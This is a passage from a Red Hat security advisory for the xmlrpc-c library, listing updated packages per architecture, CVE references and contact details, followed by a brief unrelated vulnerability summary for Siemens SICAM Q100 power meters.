xmlrpc-c-client++-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.aarch64.rpm  
xmlrpc-c-devel-1.51.0-8.el8.aarch64.rpm

ppc64le:  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-c++-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-client++-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.ppc64le.rpm  
xmlrpc-c-devel-1.51.0-8.el8.ppc64le.rpm

s390x:  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-c++-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-client++-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.s390x.rpm  
xmlrpc-c-devel-1.51.0-8.el8.s390x.rpm

x86_64:  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-apps-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-c++-1.51.0-8.el8.i686.rpm  
xmlrpc-c-c++-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-c++-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-client++-1.51.0-8.el8.i686.rpm  
xmlrpc-c-client++-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-client++-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-client-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.i686.rpm  
xmlrpc-c-debuginfo-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.i686.rpm  
xmlrpc-c-debugsource-1.51.0-8.el8.x86_64.rpm  
xmlrpc-c-devel-1.51.0-8.el8.i686.rpm  
xmlrpc-c-devel-1.51.0-8.el8.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2021-46143  
https://access.redhat.com/security/cve/CVE-2022-22822  
https://access.redhat.com/security/cve/CVE-2022-22823  
https://access.redhat.com/security/cve/CVE-2022-22824  
https://access.redhat.com/security/cve/CVE-2022-22825  
https://access.redhat.com/security/cve/CVE-2022-22826  
https://access.redhat.com/security/cve/CVE-2022-22827  
https://access.redhat.com/security/updates/classification/#moderate  
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/8.7_release_notes/index

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
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Red Hat Security Advisory 2022-7692-01

A vulnerability has been identified in POWER METER SICAM Q100 (All versions < V2.50), POWER METER SICAM Q100 (All versions < V2.50). Affected devices do not properly validate the EndTime-parameter in requests to the web interface on port 443/tcp. This could allow an authenticated remote attacker to crash the device (followed by an automatic reboot) or to execute arbitrary code on the device.

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